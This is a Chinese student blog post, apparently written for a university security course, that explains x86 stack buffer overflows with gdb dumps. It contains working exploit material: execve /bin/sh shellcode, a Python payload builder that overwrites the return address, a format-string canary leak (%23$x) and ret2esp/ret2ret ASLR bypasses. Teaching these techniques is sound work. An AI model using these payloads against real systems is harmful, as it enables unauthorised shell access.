Buffer Overflow

前言

CS 161 is the voodoo plan of Lord Dirks. Project 1 is the first step.

这个project 1做的我心态爆炸

感觉自己还是不是很懂汇编指令 特别是esp寄存器

基本知识介绍

Buffer Overflow_第1张图片
stackStructure.png

上图是linux x86系列的内存结构。stack向下生长,环境变量和Stack被视为相同的数据。

最底下的是文本代码段,存储着程序的汇编代码。Static data segment存放着未赋值和赋值过的静态变量。

Heap主要是程序中动态申请的内存空间。

Buffer Overflow_第2张图片
stackStructureInDetail.png
Buffer Overflow_第3张图片
runtimeStack.png

上面两图显示了函数调用中相关的一些寄存器和地址内容。

最基本的涉及三个寄存器

esp (stack pointer): 指向函数顶的寄存器,处于内存底部(栈的顶部)

ebp (base pointer/saved frame pointer):指向函数底的的寄存器,处于内存顶部(栈的底部)

eip (instruction pointer): 指向文本区的下一个指令

还有一些其他的重要指针比如rip (return instruction pointer) 指向的是函数返回的地址。

在函数运行的时候,esp不断向上的pop

到return address时根据rip值跳转

接下来介绍缓冲区buffer/字符串

如下图的user,在c语言即

char a[20];

长度固定。

在程序运行时开拓一段空间

buffer向上生长,小index在下,大index在上

所有函数调用的时候,ebp和esp都会经过这样的操作:

0x0804840c <+0>:    push   %ebp
0x0804840d <+1>:    mov    %esp,%ebp
0x0804840f <+3>:    sub    $0x28,%esp

简单的意思是

  1. 压入ebp
  2. 让ebp等于esp
  3. 让esp到ebp下面x个字节的位置x与函数内容有关,但是必然是字的整数倍。x86架构时4n,x64架构是8n。

基本的buffer overflow

buffer overflow的意思即是在buffer没有做到良好保护的时候,通过缓冲区溢出覆盖内存从而改变代码走向,并且做出攻击。

假如我的代码是这样

//dejavu.c
#include 
void deja_vu()
{
    char door[8];
    gets(door);
}

int main()
{
    deja_vu();
    return 0;
}

通过gdb,我们可以发现一些关键的地址

(gdb) x $ebp
0xbffffab8: 0xbffffac8
(gdb) x $eip
0x804841d : 0x8955c3c9
(gdb) x $esp
0xbffffa90: 0xbffffaa8
(gdb) x door
0xbffffaa8: 0x41414141
(gdb) x main
0x804841f 
: 0x83e58955 (gdb) x $ebp +4 0xbffffabc: 0x0804842a

可以发现

rip($ebp+4)指向的是main函数中的一个地址,即返回地址

$eip指向的是文本区中的一个地址

door在ebp和esp中间

door离ebp有0x10的距离

具体的看应该是

(gdb) x/8wx door
0xbffffaa8: 0x41414141  0x41414141  0xb7fed200  0x00000000
0xbffffab8: 0xbffffac8  0x0804842a  0x08048440  0x00000000

其中0x41是我的合法输入AAAAAAAA

内存结构大概时这样

Buffer Overflow_第4张图片
dejavu.png

那么如果我的输入不合法呢?比如对于上面那段代码,我输入了很多A,那么内存结构大概是

Buffer Overflow_第5张图片
dejavu_invalidA.png

可以看见我们将rip和ebp原本的数值覆盖掉了。这时如果要返回,查看rip发现地址是0x41414141然后发现那个地址没有任何有意义的地址与指令于是抛出段错误

输入:AAAAAAAAAAAAAAAA

之后查看gdb

(gdb) x/8wx door
0xbffffaa8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffab8: 0x41414141  0x41414141  0x08048400  0x00000000

发现所有东西都被改掉了,程序抛出段错误,崩溃

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

可以看到程序试图区寻找0x41414141的数据,发现无意义

无防御机制的攻击

无意义的数据只会使程序崩溃,但是如果数据有意义呢?

但是如果我们能够将程序导入我们的有意义的恶意代码呢

我们将这种可执行代码称为shell code('shell code' contains 'hell code', you know)

shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
# assume that this is a code for getting permission of other users 

*注意这是一个小端排序(little-endian)的程序,所以其实内存中会是

0x895e1feb...

我们通过栈溢出将我们的可执行代码塞入内存中,并且通过改变rip的数据(返回地址)去让程序执行我们的恶意代码。

#!/usr/bin/env python

# ~/egg
shell="\x90\x90\x90\x90"+"\x90\x90\x90\x90"+"\x00\xd2\xfe\xb7"+"\x00\x00\x00\x00"+"\xf8\xf6\xff\xbf"+"\xc8\xfa\xff\xbf"+"\x40\x84\x04\x08"+"\x00\x00\x00\x00"

shell2="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
print(shell+shell2)

*\x90没什么特别的1意义,只是为了填满buffer。让buffer被其他的字符,如\x41,填满也ok

然后将这段导入另一个文件中

./egg > shellcode

然后再执行程序时将其导入并且gdb,我们就会发现

(gdb) x/30wx door
0xbffffaa8: 0x90909090  0x90909090  0xb7fed200  0x00000000
0xbffffab8: 0xbffff6f8  0xbffffac8  0x08048440  0x00000000
0xbffffac8: 0x895e1feb  0xc0310876  0x89074688  0x0bb00c46
0xbffffad8: 0x4e8df389  0x0c568d08  0xdb3180cd  0xcd40d889
0xbffffae8: 0xffdce880  0x622fffff  0x732f6e69  0xb7fd0068
0xbffffaf8: 0x00000000  0x00000000  0x00000000  0xef5b7982
0xbffffb08: 0xd807fd92  0x00000000  0x00000000  0x00000000
0xbffffb18: 0x00000001  0x08048320

我们可以看到rip已经被改变了,而rip指向的地址早已被我们改成了我们的shell code

程序在结束的时候调用ret指令,ret会根据rip的地址进行返回跳转,由于我们将rip该到了shell code的首地址,程序”返回“到我们的shell code位置并且开始执行shell code的指令,由于我们的shell code的意思时获得权限,那么我们也可以说是攻入对方系统。

Buffer Overflow_第6张图片
dejavu_shellcode.png

包括如果对方将秘密函数(比如一个删数据库跑路的函数)写在代码中,也可以通过”返回“到秘密函数执行秘密函数

环境变量攻击

有的时候即使没有一些额外的防御机制,我们的shellcode也会收到限制,比如

  1. 程序员进行了一定的边界检查(虽然并没有检查完全)导致你能操控的字节数有限(一到二个字节)

    比如下面这段代码

    void flip(char *buf, const char *input)
    {
        //char buf[64];
        //we can input via stdin
      size_t n = strlen(input);
      int i;
      for (i = 0; i < n && i <= 64; ++i)
        buf[i] = input[i] ^ (1u << 5);
    
      while (i < 64)
        buf[i++] = '\0';
    }
    

    我能溢出的只有buf+64这一个字节

  2. 程序内只使用了环境变量和给黑客控制环境变量的空间但是并没有用户输入的内容,我们无法将shellcode通过文件和stdin输入其中

这时单纯的写入shellcode有点不现实,但是我们可以将shellcode放入环境变量中。程序执行的时候,环境变量位于Stack上方。并且环境变量可以与main函数的参数等同(实际上就是main函数的参数)。

我们可以让rip返回到环境变量的地址处并且执行shellcode

(gdb) x/s *((char**) environ)
0xbffffbe9: "PAD=EGG=\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f\315\200\061\333\211\330@\315\200\350\334\377\377\377/bin/sh"

有防御机制的攻击

Canary(金丝雀)

canary源于17世纪英国工人对瓦斯的检查方式。由于金丝雀比人类对瓦斯更加敏感,英国工人通过金丝雀的行为(包括是否死亡)探测是否有大量的瓦斯。

由于上述的buffer overflow方法基于修改rip值,如果在ebp下面放一个字作为canary。canary(Debian系统实现)始于NUL(\x00),其他三个字节为随机数。起始的NUL可以阻挡攻击者读入canary(字符串的结束符号)

canary的另一部分放在gs寄存器中

在程序调用结束之前leave ret之前检查栈上的canary与寄存器中的canary是否相等,如果相等则没有认为没有发生buffer overflow,否则发现stack smashing并且调用__stack_chk_fail函数中断程序

观察下面的开启Canary机制的程序

#define BUFLEN 16

#include 
#include 

int nibble_to_int(char nibble) {
    if ('0' <= nibble && nibble <= '9') return nibble - '0';
    else return nibble - 'a' + 10;
}

void dehexify() {
    char buffer[BUFLEN];
    char answer[BUFLEN];
    int i = 0, j = 0;

    gets(buffer);

    while (buffer[i]) {
        if (buffer[i] == '\\' && buffer[i+1] == 'x') {
            int top_half = nibble_to_int(buffer[i+2]);
            int bottom_half = nibble_to_int(buffer[i+3]);
            answer[j] = top_half << 4 | bottom_half;
            i += 3;
        } else {
            answer[j] = buffer[i];
        }
        i++; j++;
    }

    answer[j] = 0;
    printf("%s\n", answer);
    fflush(stdout);
}

int main() {
    while (!feof(stdin)) {
        dehexify();
    }
}

观察函数dehexify汇编码

(gdb) disassemble dehexify 
Dump of assembler code for function dehexify:
//函数初始化
   0x0804853d <+0>: push   %ebp
   0x0804853e <+1>: mov    %esp,%ebp
   0x08048540 <+3>: sub    $0x38,%esp
//%gs:0x14存的就是canary的值,并且将其插入$ebp-4的位置)
   0x08048543 <+6>: mov    %gs:0x14,%eax
   0x08048549 <+12>:    mov    %eax,-0x4(%ebp)
   0x0804854c <+15>:    xor    %eax,%eax
...
   0x08048617 <+218>:   mov    -0x4(%ebp),%eax
//将canary从%gs:0x14拿出并且与放入的canary进行比对。如果相同则跳转到函数+235处(正常离开),否则调用函数__stack_chk_fail,抛出异常

   0x0804861a <+221>:   xor    %gs:0x14,%eax
   0x08048621 <+228>:   je     0x8048628 
   0x08048623 <+230>:   call   0x8048400 <__stack_chk_fail@plt>
   0x08048628 <+235>:   leave  
   0x08048629 <+236>:   ret    

输入正常字符串AAAAAAAAAAAAAAAA后观察栈

(gdb) x/30wx answer
0xbffffaa8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffab8: 0x41414100  0x41414141  0x41414141  0x41414141
0xbffffac8: 0x5bb90c00  0xbffffad8  0x08048637  0xb7fd2ac0
(gdb) p $ebp
$1 = (void *) 0xbffffacc

易知在ebp和我们自己的数据(buffer)中隔了一个字的canary,其起始字符为NUL(\x00)

*(看上去是最后一个字节,但是这个时小端序所以反而是第一个字节)

如果输入非法字符串如

AAAAAAAAAAAAAAAAA(17个A)

(gdb) x/30wx buffer 
0xbffffab8: 0x41410041  0x41414141  0x41414141  0x41414141
0xbffffac8: 0xe7590041  0xbffffad8  0x08048637  0xb7fd2ac0
0xbffffad8: 0x00000000  0xb7e454d3  0x00000001  0xbffffb74
0xbffffae8: 0xbffffb7c  0xb7fdc858  0x00000000  0xbffffb1c
0xbffffaf8: 0xbffffb7c  0x00000000  0x08048288  0xb7fd2000
0xbffffb08: 0x00000000  0x00000000  0x00000000  0xead1f830
0xbffffb18: 0xdd8d1c20  0x00000000  0x00000000  0x00000000
0xbffffb28: 0x00000001  0x08048450

最后的结果会是

*** stack smashing detected ***: /home/jz/agent-jz terminated

Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()
(gdb) 

攻击方式

printf格式化攻击

//test.c
void invoker(){
    char buffer[16];
    gets(buffer);as
    printf(buffer);
}

int main(void){
    invoker();
}

编译一下

gcc -m32 -z execstack -o canary -ggdb -fstack-protector-all test.c

之后用objdump查看汇编码


0804848c :
 804848c:   55                      push   %ebp
 804848d:   89 e5                   mov    %esp,%ebp
 804848f:   83 ec 68                sub    $0x68,%esp
 8048492:   65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048498:   89 45 f4                mov    %eax,-0xc(%ebp)
 804849b:   31 c0                   xor    %eax,%eax
 804849d:   8d 45 b4                lea    -0x4c(%ebp),%eax
 80484a0:   89 04 24                mov    %eax,(%esp)
 80484a3:   e8 b8 fe ff ff          call   8048360 
 80484a8:   8d 45 b4                lea    -0x4c(%ebp),%eax
 80484ab:   89 04 24                mov    %eax,(%esp)
 80484ae:   e8 9d fe ff ff          call   8048350 
 80484b3:   8b 45 f4                mov    -0xc(%ebp),%eax
 80484b6:   65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 80484bd:   74 05                   je     80484c4 
 80484bf:   e8 ac fe ff ff          call   8048370 <__stack_chk_fail@plt>
 80484c4:   c9                      leave  
 80484c5:   c3                      ret    

我们查看一下$ebp-0xc的数据

(gdb) x $ebp-0xc
0xbffff6dc: 0xdd4aed00

可以确定这就是canary了

我们的格式化是从esp开始数,所以我们要确定从esp到canary有多少个字

(gdb) x $esp
0xbffff680: 0xbffff69c

(0xdc-0x80)/4 = 23(10 based)

所以我们的输入可以时%23$x

然后就会发现

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/jz/canary 
%23$x
a1116800[Inferior 1 (process 10311) exited normally]

成功拉出canary

ASLR(地址空间布局随机化)

Address Space Layout Randomization是一种防止攻击的很好的方法。上述的各种方法都是基于内存布局是固定的。我们需要一个固定的绝对地址去使我们的rip跳转到我们的shell code。但是如果每次程序运行时,其分布不完全固定而是随机的,那么我们无法固定地址,从而难以攻击。

ASLR只打乱Stack区和lib,其他的如Heap和Text区并不会被打乱

攻击方式

ret2ret

每当我们执行ret指令时,我们实际上都在执行

pop eip

ASLR只会随机化栈区,但是文本段并不会。所以每回运行时,文本区都是固定的,ret的地址都是可以被找到的

esp所指向的地址的数据被eip覆盖

每当调用一次ret

esp都会+4(1个字)

Buffer Overflow_第7张图片
ret2retbefore.png

Buffer Overflow_第8张图片
ret2retafter.png

我们可以通过这种方式将esp"抬到"指向我们shellcode的一个指针,然后通过通过这个指针执行我们的shellcode

ret2pop

不是很熟,但是应该和ret2ret差不多。只不过pop可以跳过某些区域

ret2esp

ret2esp是个很有意思的方法,因为他要求的指令gcc并不提供。

它需要jmp * esp,其汇编码为0xffe4

这个指令可以跳转到esp,从而我们可以使esp指向我们的shellcode并且执行我们的shellcode。

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BUFSIZE 3520

unsigned int magic(unsigned int i, unsigned int j)
{
  i ^= j << 3;
  j ^= i << 3;
  i |= 58623;
  j %= 0x42;
  return i & j;
}

void error(const char *msg)
{
  fprintf(stderr, "error: %s\n", msg);
  exit(1);
}

ssize_t io(int socket, size_t n, char *buf)
{
  recv(socket, buf, n << 3, MSG_WAITALL);
  size_t i = 0;
  while (buf[i] && buf[i] != '\n' && i < n)
    buf[i++] ^= 0x42;
  return i;
  send(socket, buf, n, 0);
}

void handle(int client)
{
  char buf[BUFSIZE];
  memset(buf, 0, sizeof(buf));
  io(client, BUFSIZE, buf);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
  {
    fprintf(stderr, "usage: %s port\n", argv[0]);
    return 1;
  }

  int srv = socket(AF_INET, SOCK_STREAM, 0);
  if (srv < 0)
    error("socket()");

  int on = 1;
  if (setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
    error("setting SO_REUSEADDR failed");

  struct sockaddr_in server, client;
  memset(&server, 0, sizeof(server));
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port = htons(atoi(argv[1]));

  if (bind(srv, (struct sockaddr *) &server, sizeof(server)) < 0)
    error("bind()");

  if (listen(srv, 5) < 0)
    error("listen()");

  socklen_t c = sizeof(client);
  int client_socket;
  for (;;)
  {
    if ((client_socket = accept(srv, (struct sockaddr *) &client, &c)) < 0)
      error("accept()");
    handle(client_socket);
    close(client_socket);
  }

  return 0;
}                     

这段代码非常复杂,但是我们简单分析就可以发现

  1. magic卵用没有
  2. io函数会有缓冲区溢出
  3. 缓冲区在handle函数中,而handle函数调用io函数。说明缓冲区在io函数的上面,二缓冲区溢出是从下到上的过程。所以这个缓冲区溢出只能控制handle函数而不是io函数

然后我们可以查看一下magic函数(因为卵用没有)

(gdb) x/30wx *magic
0x8048604 :  0x8be58955  0xe0c10c45  0x08453103  0xc108458b
0x8048614 :   0x453103e0  0x084d810c  0x0000e4ff  0xba0c4d8b
0x8048624 :   0x3e0f83e1  0xe2f7c889  0xe8c1d089  0x89c00104
0x8048634 :   0x05e2c1c2  0xca89d001  0xd089c229  0x8b0c4589
0x8048644 :   0x558b0c45  0x5dd02108  0xe58955c3  0xba18ec83
0x8048654 :    0x080489b0  0x04a03ca1  0x084d8b08  0x08244c89
0x8048664 :   0x04245489  0xe8240489  0xfffffe70  0x012404c7
0x8048674 :   0xe8000000  0xfffffe44

发现有一个0x0000e4ff由于是小端序,这就是ffe4

然后我们就可以把rip改为这个指令并且在其上面放我们的shellcode。

此时当jmp * esp执行的时候,esp指向shellcode,从而我们的shellcode可以被执行

Buffer Overflow_第9张图片
ret2esp.png

执行异或

内存的每一块只允许被写入或者被执行,不可能即被写入又被执行

读完这篇文章你就会知道

  1. 搞事精和点子王都很会玩
  2. Microsoft家的c/c++编译器重写string.h文件中的函数并且逼着你使用scanf_s/strcpy_s/blabla的良苦用心
  3. 请一个傻吊一样的永远不写安全的边界检测的程序员的下场
  4. 为什么不要使用C/C++(虽然我这么说你还是会用,对吧)
  5. 对一些project掉以轻心以为自己三天就能写完这个只有五题project结果最后搞到心态爆炸的下场
  6. 做这种project之前一定不要奶这题很简单之类的
  7. 为什么说用strcpy和gets这样的函数要谨慎一点
  8. 三天肝project是可以肝出东西的

你可能感兴趣的:(Buffer Overflow)